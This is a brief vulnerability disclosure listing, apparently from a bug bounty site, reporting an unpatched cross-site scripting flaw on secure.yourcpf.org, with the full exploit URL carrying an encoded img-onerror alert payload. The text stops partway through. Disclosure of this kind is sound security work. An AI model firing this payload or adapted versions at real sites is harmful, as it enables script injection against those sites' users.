secure.yourcpf.org XSS vulnerability

Vulnerable URL: https://secure.yourcpf.org/np/clients/cpirf/tellFriend.jsp?subject=Attending%20Design%20for%20Disability%20Silk=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability...